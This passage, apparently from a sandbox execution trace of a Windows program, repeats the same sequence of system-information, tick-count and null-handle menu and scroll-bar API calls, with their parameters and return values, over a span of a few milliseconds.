wProcessorRevision=0x5e03)) [0053.703] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.703] GetTickCount () returned 0x1c31f [0053.703] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.703] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.703] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.703] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.703] GetTickCount () returned 0x1c31f [0053.703] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.703] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.703] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.703] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.703] GetTickCount () returned 0x1c31f [0053.703] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.703] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.703] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.703] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.703] GetTickCount () returned 0x1c31f [0053.703] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.703] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.704] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.704] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.704] GetTickCount () returned 0x1c31f [0053.704] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.704] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.704] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.704] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.704] GetTickCount () returned 0x1c31f [0053.704] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.704] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.704] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.704] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.704] GetTickCount () returned 0x1c31f [0053.704] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.704] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.704] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.704] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.704] GetTickCount () returned 0x1c31f [0053.704] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.704] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.704] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.704] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.704] GetTickCount () returned 0x1c31f [0053.704] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.704] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.705] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.705] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.705] GetTickCount () returned 0x1c31f [0053.705] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.705] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.705] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.705] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.705] GetTickCount () returned 0x1c31f [0053.705] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.705] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.705] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.705] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.705] GetTickCount () returned 0x1c31f [0053.705] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.705] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.705] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.705] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.705] GetTickCount () returned 0x1c31f [0053.705] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.705] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.705] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.705] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.705] GetTickCount () returned 0x1c31f [0053.705] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.705] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.706] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.706] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.706] GetTickCount () returned 0x1c31f [0053.706] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.706] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.706] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.706] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.706] GetTickCount () returned 0x1c31f [0053.706] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.706] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.706] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.706] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.706] GetTickCount () returned 0x1c31f [0053.706] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.706] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.706] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.706] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.706] GetTickCount () returned 0x1c31f [0053.706] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.706] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.706] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.706] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.706] GetTickCount () returned 0x1c31f [0053.706] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.706] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.706] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.707] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.707] GetTickCount () returned 0x1c31f [0053.707] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.707] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.707] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.707] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.707] GetTickCount () returned 0x1c31f [0053.707] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.707] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.707] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.707] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.707] GetTickCount () returned 0x1c31f [0053.707] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.707] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.707] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.707] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.707] GetTickCount () returned 0x1c31f [0053.707] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.707] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.707] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.707] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.707] GetTickCount () returned 0x1c31f [0053.707] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.707] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.707] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.708] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.708] GetTickCount () returned 0x1c31f [0053.708] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.708] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.708] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.708] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.708] GetTickCount () returned 0x1c31f [0053.708] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.708] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.708] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.708] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.708] GetTickCount () returned 0x1c31f [0053.708] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.708] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.708] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.708] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.708] GetTickCount () returned 0x1c31f [0053.708] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.708] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.708] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.708] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.708] GetTickCount () returned 0x1c31f [0053.708] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.708] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.708] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.709] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.709] GetTickCount () returned 0x1c31f [0053.709] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.709] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.709] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.709] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.709] GetTickCount () returned 0x1c31f [0053.709] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.709] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.709] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.709] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.709] GetTickCount () returned 0x1c31f [0053.709] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.709] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.709] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.709] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.709] GetTickCount () returned 0x1c31f [0053.709] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.709] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.709] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.709] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.709] GetTickCount () returned 0x1c31f [0053.709] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.709] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.709] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.710] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.710] GetTickCount () returned 0x1c31f [0053.710] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.710] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.710] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.710] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.710] GetTickCount () returned 0x1c31f [0053.710] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.710] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.710] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.710] 